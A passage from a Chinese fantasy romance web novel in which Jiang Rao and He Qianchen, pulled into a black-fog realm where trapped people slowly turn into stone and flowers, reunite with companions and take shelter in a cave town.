于是两人并肩朝着那处高地走,可在踩上去的瞬间,地面突然崩塌。 一个是灵族,一个是外界的修真者,按理来说是能很轻松化解眼前的危机。 可在地面坍塌时,就有一股诡异的力量拽着两人的腿,拉着他们朝下方坠去 与此同时,姜桡也明白自己为何有种不好的预感。 高地下方的区域正被一团庞大的黑雾所盘踞着,亦如当初在上河村所看到的那般。 浓稠的雾气早已将四周吞噬腹中,那范围广到让人无法看到头。 这团黑雾兴许比上河村的那团黑雾,出现的要早的些,在无人察觉中慢慢扩大。 两人最终敌不过黑雾的力量,被硬拽了进去。 而在落下的刹那,一缕缕黑雾像是被什么给吸引住,迅速钻进贺千宸头顶之上,那朵小小的乌云体内。 20、第二十章 姜桡是被人轻声喊醒的,她茫然的睁开眼,映入眼中的是名身着浅绿色纱裙的女子。 女子的长发用一根木簪随意盘起,鬓角垂落几缕长发,那张清丽的脸上露出几分欢喜。 “姑娘,你也是被引进来的?” 姜桡先环顾四周,这才发现自己正躺在一片生长茂盛的草地上,而远处还绽放着无数不同颜色的花卉,就连头顶上的苍穹,漂亮的宛如一颗通透的蓝宝石。 明明都是被黑雾所笼罩,但这里与上河村却截然不同。 她缓过神后,边坐起身来边问面前陌生的女子。 “引进来?” 女子点点头,似是想到什么伤心的事,眼眶微微发红,整个人显得十分楚楚可怜。 “这里大部分人都是被引进来的,我也是。” 女子伸手轻轻擦拭眼角的泪渍,不经意间露出左侧眼尾的粉色花瓣,她抬眸看着姜桡,继续说道。 “引进来的意思是,在路上你突然看到一些奇怪的场景,亦或者你内心所渴望的东西,等反应过来时,人已经到了这鬼地方。” 姜桡不由想起那场诡异的黑雪,只是她也不算被引进来,准确点说,应该是被黑雾强拉到这地方的。 “对了,你可瞧见程千鹤,就是与我一起被引进来的男子!” 女子摇摇头:“我只发现你一人。” 姜桡听后不由的叹口气,看来是在拽进来的途中,与程千鹤失散了。 不行! 她得快些找到人才行。 好不容易捡到一个以身相许,不要银钱陪自己寻找灭世魔头的人。 若是不见了,那就亏大发了! 姜桡连忙站起来:“我得去找他!” 女子也跟着站起身来,脸上不由的露出几分惊慌,她伸手拦住姜桡的去路,并十分担忧道。 “你一个人会很危险的。” “这地方引了太多人进来,而且…这地方没有出口。” 也不知为何,姜桡对面前的女人有种莫名的亲切感。 正当她准备开口说自己不怕时,远处忽传来好几道脚步声声音,有什么人正朝这边走了过来。 女人连忙拉着姜桡的手,示意她躲到一株茂盛的花丛中。 “别出来,躲好!” 姜桡有些不明所以的蹲在隐蔽的角落,而后见女人整理好有些凌乱的衣裙,在听脚步声越来越近时,她的脸色也越发苍白。 “柔娘,你是有情郎在这?怎时不时跑这晦气的地方来。” 一名穿着褐色布衣的男人目光直勾勾地盯着,那弱柳迎风,似一吹就倒在地上的柔娘,而在他身后还跟着三名身形魁梧的小弟。 柔娘没理会他,直接越过这四人朝前走。 那名褐色布衣男人瞬间冷下脸来,可他又不敢发作,目光只能恶狠狠盯着柔娘那一手就可搂住的腰身。 跟在他身后的那三名小弟自然也是同等货色,边不怀好意打量着,边疑惑问道。 “六哥,反正就她一个,为何我们不…” 话还未说完,这人就被马老六甩了一个嘴巴子。 “你懂了屁,她可是老大的女人,老大只要没腻,我们都得供着。” 听到老大这两个字,余下三人脸上都露出惊恐且畏惧的神情。 马老六抬腿跟在柔娘身后,其实还有些话他没说完。 哪天老大腻了这个娘们,到时候他还不是想怎样就怎样。 姜桡看得出那四人对柔娘又忌讳又垂涎,见自己不站出来,柔娘也不会有事,她索性蹲在角落中先静观其变。 毕竟程千鹤跟师傅都说过,防人之心不可无。 等人走远之后,姜桡才悄摸摸的爬出来,她站起身,随即神情认真的打量着四周。 姜桡这才发现,以自己中心,四周皆是一株株生长茂盛且姿态怪异的花卉,高大挺直的花枝上绽放开的花儿,它们颜色艳丽却又不一,在阳光下显的无比的璀璨。 这些花卉若生在外头,姜桡也不会觉得有什么,可生在这黑雾内,她却觉得莫名诡异。 姜桡仔仔细细打量着面前这棵等人高的花卉,先警惕的摘下一朵花,又折下一截花枝,见没有什么异样后,才渐渐地打消了狐疑。 眼下最要紧的是找到程千鹤。 姜桡还没有笨到以身涉险,偷偷地跟在那些人的身后,她大拇指与食指环接,放在嘴里用力一吹。 如同鸟鸣的哨声响起,好半会一只如糯米团般的北长尾山雀落在姜桡肩上,它歪着没有脖子的小脑袋,好奇着打量四周。 姜桡伸手轻轻摸了这只软乎乎的肥啾啾,轻声道。 “辛苦你一下了!” 与上次操控飞禽走兽不同,她这次直接分了一缕灵识在这只肥啾啾身上。 肥啾啾挥舞着翅膀飞到高空中,而通过肥啾啾的视野,她所处的位置正在山顶,随着越过花海后,开始朝下俯冲时,景致也发生翻天覆地的变化 处处透着勃勃生机的花海只覆盖山顶那一片,往下皆是大小不同的石块,细看会发现石块中间闪有绿色的微光。 这座山似是正在慢慢死去。 姜桡很快就看到柔娘等人,又看到山下有炊烟升起。 只是炊烟升起的的地方有两处,方位几乎是南辕北辙。 肥啾啾在空中盘旋的片刻,最终选择朝着右边炊烟升起的地方飞去。 不过姜桡似乎选错了方向,围着冒炊烟的火堆人很多,他们个个灰头土脸,目光直勾勾的火堆上的那口锅,好似那里头有什么山珍海味。 在这群人当中,姜桡并未瞧见贺千宸的身影,但却发现一件十分可怖的事,有些人脸上竟长有灰白色的石头,那石头密密麻麻占据了大半张脸,极其怪异。 就在肥啾啾准备飞往另个方向时,只听“咻”一声,一块石头迅速朝她袭来。 虽躲闪及时,但还是落下一支长长的尾羽,肥啾啾忍不住委屈的“啾”了声。 “兄弟们,快把这只肥雀砸下来,这样我们就有肉吃了!” 发现肥啾啾的男人大喊一声,又迅速从地上捡起石头朝空中砸去。 听到有肉吃,所有人都激动的欢腾起来,纷纷从地上捡起了石头。 石头几乎与剑雨般砸了上来,好在肥啾灵敏,扑腾着翅膀飞快的离开这是非之地。 不过左侧羽毛还是受了伤,鲜血浸泡白色饿羽毛,飞的速度也没那么快。 肥啾啾可怜兮兮的啾了声,听得姜桡难受的要命,正当她让肥啾啾飞回来时,却在正前方瞥见了程千宸的身影。 只是,站在正前方的程千鹤脸色阴沉,浑身散发着生人勿近的气场,这样的程千鹤让姜桡感到陌生。 肥啾啾落在旁边的石头上,先歪头看了眼受伤的翅膀,后才抬头对着程千宸所在的方向“啾啾啾”的喊叫。 姜桡担心灵识脱离之后,再下山过来找人时,人不见不说,指不定这只受伤的肥啾啾还被人丟进锅里头。 最好的法子,就是让程千鹤先认出自己,并带着肥啾啾去山顶汇合。 只可惜肥啾啾的叫声被身后小跑过来的陆观棋给掩盖。 “程公子,姜姑娘本事那么大,是不会出事的!” 这话让贺千宸脸色越发阴沉,无人知晓,在他醒来时没有发现姜桡身影,心里是多么的恐慌。 贺千宸甚至不敢想象,若是一直没有找到姜桡,自己又该如何。 他语气坚定道:“无论本事如何,我都要找到她才行。” 此时盘旋在贺千宸头顶那片乌云体型变大许多,没有姜桡在身边压制,又吸收了几缕黑雾,它又一副雄赳赳气昂昂的姿态。 姜桡既诧异乌云忽然变大一事,又感叹陆观棋跟他们是真有缘,居然能在这里碰面。 三人并未察觉到停留在岩石上的肥啾啾,陆观棋见贺千宸一副快要疯魔的状态,下意识朝后挪几步。 “我和许念陪你一起找,毕竟人多也能找的快些。” 贺千宸没理会身后的陆观棋,他的冷静早已经随着阿桡不见而消失,他甚至担心阿桡会不会认识了别的男人,再次见面会不会开口不要自己。 这些猜测都让贺千宸感到恐慌与害怕,就像自己曾拥有的明月,忽然离自己而去,并飞向了别人怀里。 陆观棋还在同贺千宸分析眼下的局势,这地方困住太多人,在没有出口的情况下,这座山就宛如牢笼,它会将所有人变成野兽。 可贺千宸现在什么都听不下去,正当他抬腿朝前走去,一只圆滚滚的小肥啾直接落在他的肩膀上,并用力的“啾”了一声。 陆观棋神情有些诧异,他心里忍不住嘀咕,这只小肥鸟胆子也忒大了些。 贺千宸并未驱赶肩膀上的小肥啾,他目光与小肥啾那圆溜溜的小眼睛对上后,忽想起姜桡的御兽术,眼底的阴霾也瞬间消散。 “你能带我去找阿桡吗?” 小肥啾歪了歪自己的圆脑袋,“啾”了一声。 陆观棋!!!! 他有些惊慌的转过头,与没有什么存在感的许念嘀咕着。 “完了完了!” “程千鹤怕是疯了,居然想让这只小肥鸟帮他找人!” 穿着男装的许念:………魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m 21、第二十一章 贺千宸见小肥啾肩膀处渗出的血迹,明白它现在是带不了路。 可他很快就想到了办法。 “若要转弯你就啾一声,知道吗?” 小肥啾乖巧的点了点圆滚滚的脑袋,算是在回应着贺千宸。 贺千宸也不知道自己是不是疯了,他竟在这只小肥啾身上看到了阿桡的影子。 这让贺千宸忍不住伸手,动作轻柔的用指腹摸了摸小肥啾。 “那我们出发!” “啾!” 陆观棋继续嘀咕道:“坏了坏了!程千鹤真的疯了。” 许念沉默半响:“少爷,要跟吗?” 陆观棋连忙道:“当然要跟!” 说罢就带着许念紧跟在贺千宸的身后,生怕落后一步。 毕竟这个地方跟上河村一样危险,都有吃人的怪物。 三人一鸟开始朝前方走,路过转弯口时,贺千宸伸手指了指左侧,小肥啾先歪着脑袋想了想,然后“啾”的一声。 贺千宸转身朝左侧走去,陆观棋心里虽觉得荒唐,但还是拉着许念继续跟在后面。 没走多久,三人便跟柔娘与马老六等人撞了个面。 贺千宸只想快些找到阿桡,对其他人是一个眼神都懒的施舍,但陆观棋却不由自主的被柔娘给吸引住了目光。 马老六见贺千宸气质非凡,又十分脸生,出于谨慎也不敢贸然动手。 只是见陆观棋一直盯着柔娘,他先是冷哼了声,再开口警告。 “再看!信不信我把你眼珠子挖下来!” 陆观棋连忙收回目光,他倒也不是怕,而且想起一些事。 马老六见状,也不好继续找茬,眼下最重要的是带柔娘回去。 小肥啾侧着身看向柔娘,没看多久,贺千宸那带着暖意的指腹就落在它的脑袋上。 “该认路了!” 面前是一道三岔口,每条路都崎岖不平,并布满大大小小的石块,甚至能看到还有细小的石头从上面滚落下来。 小肥啾收回目光,圆溜溜的小眼珠子认真看了看,然后用鸟喙轻轻啄了下贺千宸的手指头,示意他开始指路。 贺千宸也不恼,每条路都挨个指过去,在指到中间那条路时,小肥啾才“啾”了声。 这时陆观棋屁颠屁颠的小跑过来,他先是好奇的看了眼那只小肥鸟,姜桡看到陆观棋以及跟在身后的许念,很高兴的跟他们打招呼。 “啾啾啾!” 只可惜,陆观棋跟许念完全不懂是什么意思。 贺千宸有些不高兴小肥啾对这两人太过于热情,他神色淡漠看了眼陆观棋。 “有事?” 陆观棋点点头,并连忙把自己知晓的信息说了出来。 之前他就说过,这地方就像是个牢笼,在笼中被关久后,就彻底失去了良知,失去了人性。 这也导致被卷进来的人分为两类,前者维持人性与良知,躲躲藏藏的苟活着,后者却不同,他们呼吁自己为判官司,打着阴官判官名号,在这杀戮抢夺,无恶不作。 那柔娘就是判官司抢过去的,也是可怜人。 陆观棋小声嘀咕着:“程公子,那判官司的人不好惹,我听闻他们老大很厉害,还是个吃人的怪物。” 贺千宸边朝着中间那条路走去,边冷声道。 “与我何干!” 陆观棋想了想:“或者跟上河村一样,得杀了判官司老大,我们才能离开这地方。” 眼下贺千宸并不在意离开的事,只想快些找到阿桡。 他十分敷衍的“嗯”了声,随即加快脚步朝前走去。 小肥啾则歪着脑袋,似是在思考这个问题,上河村的黑雾好像不是因灭世魔头贺千宸所引起的,也就是说黑雾是如何出现在里界是个谜。 还有那朵雾花。 这地方会不会也有一朵? 这条路越走越狭窄,从能容三人缩小成一人,两侧皆是灰白色的锋利石块,稍不留神摔下来,怕是要头破血流。 站在贺千宸的小肥啾盯着混杂在石块中的那抹绿,它歪着脑袋打量着。 而继续向前,绿色的石头也逐渐多了起来,甚至还能瞥见山顶上那一株株绽放艳丽的花卉影子。 陆观棋后知后觉的反应过来,他狐疑的瞥看眼站在贺千宸肩膀上的小肥鸟。 “程公子,你确信这只小肥鸟能带你找到姜姑娘?” 贺千宸停下脚步,侧身看向突然发问的陆观棋,姜桡听到自己被称呼小肥鸟,有些生气的“啾”了声。 陆观棋伸手指向山顶:“这个地方就是个巨大的尸冢。” 贺千宸眉心微微蹙起:“尸冢?” 陆观棋点点头,他跟许念被卷入这地方后,为了离开,可没少花功夫打听。 其中有件事,让陆观棋感到极其恐怖,他声音发颤道。 “人在这里待久了,是会发生异变!” 贺千宸脸上露出几分疑惑:“异变?” 陆观棋伸手指向夹杂在灰白色石块中,那些宛如碧玉般的石头。 “这些,都是人的尸骨!” 而后他又指向山顶那些随风摇曳的花枝。 “那些也是由人的尸骨化成的。” 这话让姜桡不由想起,曾看到半张脸都被石头覆盖的人。 只听陆观棋继续说道:“被困在这里的人,身上会慢慢的长出石头,花瓣或者野草,这种被称为异变。” 贺千宸立即明白这其中关联。 “等石头或花瓣覆盖全身,就变成现在我们看到的样子。” 他们脚下踩的皆是尸骸所铺成的路。 因此这地方是个巨大的尸冢。 可纵使知道真相,也依旧阻止不是贺千宸要去找姜桡的决心。 “你们可以在这等,我一人上去即可。” 小肥啾无奈的“啾”了声,她用脑袋亲昵的贴了贴贺千宸的脸颊,然后使出力气朝山顶方向飞去。 既然“程千鹤”认出自己,相信他肯定会在原地等着她。 姜桡迅速抽离那一缕神识,操控着小肥啾缓缓朝自己所在的位置飞来。 而贺千宸见小肥啾突然飞走,整个人瞬间慌了起来,他完全忘记小肥啾刚刚蹭了蹭自己脸颊的事,连忙紧追在身后。 陆观棋算是看出来了,程公子完全是栽在姜姑娘的手里。 以后就算姜姑娘杀人,他都能乐呵的帮忙埋尸。 “少爷!” 身后的许念忽然出声,吓得他一激灵,陆观棋侧过身,朝见许念蹲在地上,双手捧着好几块那碧玉般的石头,正眼巴巴的盯着自己。 “它们,值钱吗?” 陆观棋!!!! 他单手扶着额头,有些恨铁不成钢道。 “给小爷丢了,都说了这些是死人的尸骨,你难道要拿出去卖钱不成!!” 许念并不觉得这东西很可怕,它们跟自己曾在路上看到的石头,并没有什么不同。 不过她还是将这些石头丢在旁边,跟陆观棋站在原地等着程公子,还有姜姐姐。 许念觉得,程公子一定能找到姜姐姐! 山顶处,姜桡看着四周一株株花满枝头的花树时,不由想起上河村密密麻麻的人皮鬼。 她发现被黑雾所笼罩的地方,就像清水中被滴入了墨。 墨污染了清水,变成浑浊不堪的死水,而死水则带来了腐烂,并朝周边开始蔓延。 被困在死水中的鱼儿要么翻起了肚皮,要么变成另一种模样。 或者说,是被黑雾污染? 这个猜测让姜桡不由感到恐慌,预知梦中黑雾像是一颗颗雨后的蘑菇,从里外两界的角落里冒了出来。 就算贺千宸不灭世,这世间怕也同炼狱差不了多少。 姜桡连忙摇摇头,将刚刚那荒唐的想法甩出去。 灭世就是不对! 何况笼罩在上河村的黑雾能化解,那其他黑雾定然也可以。 “啾啾啾~” 远处响起小肥啾邀功的叫声,姜桡回过神来,伸出手接过翅膀还在渗血的小肥啾。 她把小肥啾放在怀里,低头轻轻的吻了小肥啾的圆脑袋,灵力也随着手指渗入小肥啾的体内,只见翅膀处的伤口正在慢慢愈合。 突然,姜桡的脑子里涌出一段极其陌生的画面。 一群乌泱泱的人跪拜在祭坛前,跪在最前方的那个人,嘴里也不知嘀嘀咕咕的念叨着,那祭坛上方摆放这三牲的头颅,似是在祭拜着什么? 就在姜桡想听清楚那人说什么时,脑海中的画面却消失不见。 她确信那不是幻觉,刚刚的画面更像是有人故意让自己看到。 这时,正前方传来贺千宸那失而复得的激动声音。 “阿桡!” 姜桡抬眸,便瞧见贺千宸站在不远处,那双漂亮的眉眼胸盛满了笑意。 她连忙挥了挥手。 “阿鹤!” 贺千宸大步走了过来,在看到站在姜桡手背上的那只小肥啾时,嘴角忍不住上扬。 “我就知道,你也在找我!” 姜桡觉得贺千宸这话有些奇怪,她对上贺千宸那双神采奕奕的眼眸,十分认真道。 “你是我的人,我当然要找到你呀!” 没有阿鹤,谁还帮自己一起寻人。 听到这话的贺千宸眼中的笑意都快溢了出来,他就知道,阿桡是不会不要自己的。 姜桡低头看着站在手背上的小肥啾,她伸手摸了摸那毛茸茸圆滚滚的小脑袋,声音十分温柔。 “辛苦你了!” “山下很危险,以后就乖乖的躲在这里。” 话音落后,她便解除对小肥啾的操控,而恢复自由的小肥啾立即展翅飞翔,很快就钻进不远处的花枝中躲了起来。 看着小肥啾身影消失,姜桡才上前握住贺千宸的手,她仰头望向这个男人。 “我们下山,顺便想办法离开这里。”魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m 22、第二十二章 等待的过程中是极其漫长。 陆观棋边看着山顶边叹气,心里也忍不住嘀咕,程千鹤该不会下不来吧! 谁知道这尸冢里头藏有什么样的怪物。 就在这时,他只觉得左手腕痒的厉害,便忍不住伸手挠了挠。 可不知为何,这越挠越是瘙痒难耐,力度也开始加重。 只到许念开口出声,陆观棋才停了下来。 “少爷,别挠,出血了!” 陆观棋有些错愕的看着自己的手腕,在用力的抓挠下,早已皮破血流。 可诡异的是,刚刚那种抓心的痒意却消失殆尽。 陆观棋低头看着还在流血的手腕,心里冒出一个很可怕的念头。 他身上估计也要长出石头,或者是花枝与花瓣。 许念忽伸手指向正前方,清秀的脸上难得露出笑意来。 “姜姐姐!” 陆观棋连忙用扯了扯袖子,将受伤的手腕给藏了起来,抬头便见姜桡与贺千宸走了下来。 虽通过小肥啾的视野知晓陆观棋也在这,但姜桡还是好奇的问道。 “你们也是被黑雾拽进来的?” 陆观棋抬头看了眼站在姜桡身边的贺千宸,犹豫片刻,才说出他与许念是到这个鬼地方来的。 当看到那封“有缘再见”的书信后,他又气又急。 气是不告而别,急得是想早些追上他们。 出了客栈陆观棋就直接买了辆马车,他想着怎么四条腿比两腿快。 但马车赶了一天一夜也没碰到姜桡与贺千宸,还碰到三名神情慌张的男人。 听到这,姜桡忽想起来当时自己吓跑的那几个人。 “那些人我也碰到过,不过他们好像…” 她还没来得及说完,贺千宸便接过话:“他们好像受到了惊吓,可能在此之前看到什么恐怖的东西。” 陆观棋一愣,若彼此都碰到了这波人,说明当时离的很近。 他继续说道。 “他们当时跑累了,直接瘫软在我马车前,我索性就拿了些干粮与水给了那三人。” “许是为了感谢我,其中一名年长的人提醒我别再上前,说前方闹鬼。” 姜桡与贺千宸眼底都露出几分诧异,当时碰到这三人是晚上,而按三人所逃跑的方向推测话。 两人几乎异口同声道:“村子。” 姜桡说完又觉得很疑惑,明明她清新的感受到一个虚弱且有顽强的生命力,若那是鬼村的话,又作何解释。 陆观棋连忙道:“那三人说是在前面村子借宿,一名婶子好心让他们进来,家中还有名挺着肚子的女人。” “那婶子十分热情给他们煮了饭,就在三人准备吃时,那桌饭菜却变成枯叶臭虫,屋内的两个女人的脸也突然腐烂的厉害,半歪着脑袋叫他们多吃点。” 姜桡不可置信道:“我们也曾在这个村子歇脚。” 但她跟贺千宸却并未察觉到异常,唯有闻见茶水与饭菜散发着一股腐臭的味道。 贺千宸也觉得不对劲,或许鬼村里的那些死去之人,对他们并不恶意。 为了验证心里的猜测,贺千宸开口问。 “那三人是怎么逃出来的?” 陆观棋不急不慢的解释道。 “那年长者他祖上曾有些捉鬼的本事,就童子尿乱洒,裤子套头,这样误打误撞的逃了出来。” 姜桡也恍然大悟,应是村子闹鬼一事让他们误把她也当做是鬼,所以才惊慌失措的逃跑。 许是怕两人怀疑,陆观棋有些不好意思的伸手挠了挠头。 “我当时想着,前面若有鬼村害人,你们定会出面解决,便驾驶着马车急忙忙赶了过去。” “当时我明明有看清路,可不知怎么,路就突然塌了。” “等我跟许念醒过来,人就在这了!” 姜桡与贺千宸目光被陆观棋露出来的手腕给吸引住,神情十分凝重。 就连许念也露出担忧的目光。 “少爷!” “手!” 陆观棋不明白三人为何露出这般的表情,他放下挠头的手,这才发现手腕被抓破流血的那处,竟冒出淡绿色的青苔。 青苔本是生长在石头的缝隙中,可现在却长在血肉里。 陆观棋脸色瞬间苍白,打听到那么多消息,他怎么会不知道这代表什么。 自己开始异变了! 或许再过不久,他全身都被青苔覆盖,最终倒在地上,成为这里的一部分。 陆观棋求助的看着贺千宸与姜桡,他声音有些微微发颤道。 “是不是只要把这只手剁掉,这青苔就不会继续蔓延?” 姜桡跟贺千宸回答不出这个问题,他们还没弄清楚这座山到底发生了什么。 只是人身上长出这种青苔,或许是因为黑雾的缘故。 姜桡知晓沉默会让陆观棋心中越发恐慌,只能开口安慰道。 “放心,只要笼罩在这的黑雾散了,你的手肯定也会恢复正常。” 贺千宸也轻“嗯”了声。 陆观棋这才慢慢冷静下来,心中的恐慌也消退几分。 但他突然抬起头看向姜桡,脸上露出诧异的神情。 “你刚刚说黑雾?什么黑雾?是笼罩上河村的那种黑雾吗?” 姜桡点了点头,并说出自己的疑惑。 “就是笼罩在上河村的那种黑雾,但奇怪的是,每处黑雾所带来的异象似乎都不同。” 安安静静站在姜桡身边的贺千宸听到这话,不由想起外界的秘境。 他沉默半响,开口替阿桡解惑。 “或许黑雾笼罩的地域同外界中的秘境差不多。” 姜桡却满脸疑惑:“秘境。” 她没去过外界,更没有去过秘境,所以贺千宸说的这些,对姜桡来说很陌生。 贺千宸早就认为,阿桡师傅就是个不靠谱的,因此她没有去过秘境,也再正常不过。 毕竟每年秘境的名单,大部分都是被外界四大宗门若占据。 他低声轻柔的解释道。 “外界秘境都是曾经陨落的尊者所遗留下的,也有是天地初开时的上古秘境,但后者却是少之又少。” “秘境中别有洞天,就跟被黑雾所笼罩的地域,上河村只有黑夜,而这里天空湛蓝,昼夜更迭,并无什么异常之处。” “只是秘境虽然危险,却伴有珍贵的灵植宝器或传承,可黑雾中只透露着不详与死气。” 姜桡觉得贺千宸说的很对,让她一下子就明白为何都是被黑雾笼罩,但又截然不同的缘故。 而陆观棋则十分疑惑。 “可里界为何会出现黑雾?” 天梯划分两界,也导致两界情况不同,外界灵气浓郁,里界皆是人间烟火。 再者外界者来到里界是会受到各种压制,若做了不可挽回的恶事,轻则修为倒退,重则引来天雷。 就更别提里界会出现什么大妖跟精怪,顶多是怨气过重的的枉魂。 姜桡摇摇头,贺千宸低声道。 “不知,但肯定不是什么好事!” 陆观棋幽幽的叹口气,他伸手扯了扯袖口,将那刺眼的青苔给遮盖住。 贺千宸看向远处升起的炊烟:“我们得下山,在天黑之前寻个庇护所。” 熟悉这边的陆观棋走在前面带路,许念冲着姜桡露出一个腼腆的笑后,才转身跟上。 姜桡嘴角上扬,漂亮的眉眼也染上几分笑意,她侧身仰头看向身边的贺千宸。 “走吧。” 贺千宸正低头凝视着姜桡脸上笑意,在对上姜桡突然看过来的目光,眼中露过一丝慌乱,耳廓也微微发热。 他声语气低沉且温柔:“好!” 姜桡忽扯了扯贺千宸的衣角:“你凑过来,弯下腰!” 她声音很轻,像是根羽毛落在贺千宸心尖上,痒痒的。 贺千宸很听话的凑了过去,并弯下腰,他没问阿桡要做什么,但不管阿桡想做什么,自己都是愿意的。 只是令贺千宸没想到的是,阿桡居然伸出双手紧紧地抱住了他! 在那一瞬间,贺千宸只觉得四周突然变得很难,周边的声音也消失不见,唯有听见自己的心在胸膛内剧烈跳动着。 想必阿桡心中也有他! 姜桡趁着抱住贺千宸时,目光凶狠的瞪了眼盘旋在贺千宸头顶上的乌云。 原本气势汹汹的乌云早在看到姜桡,就开始瑟瑟发抖的抱紧自己。 这不被姜桡瞪了一眼,就很自觉的缩小自己的身体,原本钻进去的几缕黑雾也被排斥出去,随即没精打采的趴在贺千宸脑袋上。 云生真难呀! 姜桡有些诧异的看着那几缕消失的黑雾,显然没想到它们会钻进霉云的体内。 怪不得当时找到“程千鹤”时,他就像变了一个人似的。 许念见姜桡姐姐迟迟没有跟来,正准备扭头看看怎么回事,却被眼尖的陆观棋给制止住。 “小孩子看不得,我们在山下等他们就行。” 许念:…… 陆观棋跟许念前脚下山,姜桡就带着耳根子发红的贺千宸后脚就跟了过来。 这地方陆观棋要熟些:“这里有个地方叫做荒镇,虽里头鱼龙混杂,但是目前较好的庇护所。” 此时悬挂在苍穹上的太阳已朝着西边慢慢挪去,从地上的影子来瞧,怕是到了申时。 跟在身后的姜桡忍不住问道:“这地方天黑后,会不会很上河村一样,有什么东西会冒出来?” 在这过了一次夜的陆观棋最有发言权。 “这倒没有,但是在这个地方,天黑以后,人才是最可怕的。” 姜桡知晓人有好坏之分,却无法理解这句话的意思。 但贺千宸却能明白。 山脚下的路逶迤曲折,却又看不见尽头通向何处。 陆观棋并没带三人朝山路走下去,而且出其不意的转弯,朝着一条死路走去。 他也不忘解释,为什么天黑之后,这地方人会更可怕。 “人是会饿的,在找不到吃食的情况下,饥饿会吞噬理智,何况这地方还无人管辖,抢了东西不会被关大牢,杀了人更不会得到惩罚,反而还能拿到自己想要的东西。” “要不是我会点拳脚功夫跟布阵,怕早就在那群人锅里头了。” 姜桡倒也不震惊,毕竟在食物的缺乏之下,走兽也是会同类相残。 正前方尽头是厚实的灰白色山体,那山体旁有棵死掉的枯树,歪着身子要倒不倒。 明明已经没有路,可陆观棋却没停下脚步,而且继续的朝前走。 姜桡跟贺千宸很快就反应过来,应是什么障眼法,将入口给遮挡住。 等进去后才发现别有洞天,虽是山洞,但空间却极其开阔,四周石缝两侧生长着散发绿色荧光的草,让他们也不至于摸黑前进。 走在前方的陆观棋忽停下脚步,他目光落在姜桡身上。 “再继续走就到了荒镇。” “姜姑娘这张脸太过招人,得跟许念一样换身男装,再把脸遮一遮。” 姜桡似是想到什么,低头从灵宝袋中开始翻找,很快就拿出一根由红黑两种粗绳编得手链。 “这个!” “虽可以改变相貌与性别,但只能维持三天。” 这是姜桡在乌山捉弄其他灵族的小道具,没想到会派上用场。 戴上手绳后,姜桡整个人发生天翻地覆的变化,除了外貌体型外,就连身上的衣裳与头发也发生改变。 从漂亮的小姑娘幻化成一名丢进人群中都认不出来的男子。 姜桡连忙问道。 “怎么样!” 贺千宸:……… 陆观棋:……… 反应过来的姜桡捂着嘴,她怎就忘了,手绳是没办法改变嗓音。 贺千宸想了想:“你别开口就行。” 姜桡听话的点点头。 陆观棋则忍不住在心里揣测起来,两人都是外界的修行者,怎么姜姑娘好东西那么多,程公子就…… 啧。 这程公子该不会是个吃软饭的吧。 这荒镇入口是有六名面相凶狠的壮汉镇守,他们看到走过来的四人后,几乎是异口同声道。 “进镇费!” 陆观棋连忙从怀里掏出两个冷掉的白馒头,并将其递过去。 为首壮汉接过馒头,才开口。 “放行!” 陆观棋边带着姜桡与贺千宸朝镇里头走去,边解释道。 “荒镇是用食物来做交易。” 想到灵宝袋中装满吃食的贺千宸陷入沉默,突如其来的富有让他有点不适应。 等进到荒镇里头,姜桡才发现这里灯火通明,大部分的房屋都拥挤的建在两侧的石壁上,且越朝上越繁华。 而最为显眼的还是正前方挂满灯笼的楼阁 很难想象,在山洞中会有这样一座城镇。 就连贺千宸也感到十分的惊奇。 陆观棋正朝着一家破烂不堪的客栈走去,他身上食物不多,除了吃外,还要省点花。 “去好一点的。” 贺千宸突然开口。 “食物我有。” 陆观棋!!!! 他连忙朝着一家门前挂着幌子,屋檐挂着灯笼,且十分干净的客栈走去。 四人进到客栈,贺千宸就掏出两个大肉包子。 “两间上房。” 许是怕姜桡误会,他低头轻声解释。 “两人一间会安全些。” 姜桡点点头,表示自己明白。 那两个大肉包子把掌柜直接看愣了,他笑嘻嘻的接过来,语气掩盖不住激动。 “我现在就带你们去。” 客栈内还住着其他人,这一幕自然也落在眼底,只是见贺千宸气质不凡,又脸生,才不敢贸然动手。 两间房是挨在一起,在掌柜离开后,贺千宸十分大方的从灵宝袋中掏出六个大包肉给陆观棋,才转身回到自己跟阿桡的那间房。 陆观棋连忙回房,他想了想,拿出一个塞到许念怀里。 “吃!” 话音落后,陆观棋不忘边塞个肉包子自己嘴里,边自责。 程公子大方成这样,怎么能是吃软饭呢。 等贺千宸回来,转头却见已经摘下手绳的阿桡,正鬼鬼祟祟地把什么粉末倒进那泛旧的茶杯里,又从茶壶中倒了些茶水,并将其晃匀。 姜桡瞥见贺千宸后,连忙伸手示意他过来,然后把面前的茶水递过去。 贺千宸没有犹豫,也没开口询问里面放了什么,接过茶杯直接一饮而尽。 折腾许久,姜桡也累了。 她脱了鞋直接躺在床上,也不忘招呼贺千宸过来一起睡。 而喝完加“料”茶水的贺千宸全身开始燥热不安,见阿桡又示意自己去床上时,心里不由冒出一个荒唐的想法。 阿桡该不会给自己下那种药吧! 他拒绝的话,阿桡要是生气了怎么办? 可不拒绝的……… 贺千宸内心百转千回,他几乎是磨磨蹭蹭的坐到床边,耳根子更是发红的厉害。 姜桡见状,翻身滚到床角给他留位置! 贺千宸内心既期待又担心的躺了下来,他喉结上下滚动,呼吸也变得急促起来,许是怕阿桡解不开腰带,又颤抖着手把自己的腰带轻轻解开。魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m 23-30 第 23 章 第二十三章 等做完这些,贺千宸忍不住想,若阿桡害羞了怎么办,于是又缓缓的闭上眼。 闭上眼后,四周的声音被逐渐放大。 他听见阿桡在喊自己名字,声音带着几分黏糊,就像是含在嘴里的麦芽糖般,贺千宸的耳廓渐渐泛红,并轻轻“嗯”了声,回应着阿桡。 其实贺千宸内心很纠结,毕竟这件事应该在洞房花烛夜进行是最好的,可想到那杯加“料”的茶水。 其实阿桡想的话,倒也不用那么麻烦。 他都是愿意的。 贺千宸闭着眼静静的等待着,只是在等待的过程中,他有些紧张轻咬着下唇,随着体内的燥热不安,额头上也微微冒出许些细汗。 关于男女之事,贺千宸无意中在文本中瞥见过。 这时一只柔软的手搭在贺千宸的腰间,鼻尖嗅到的是阿桡身上那熟悉气息,他开始有些担心起来,如果自己没能让阿桡满意怎么办? 已经熟睡过去的姜桡,并不知贺千宸脑补这么一出大戏。 她倒在茶杯中的其实是由灵树叶子所磨成的粉末。 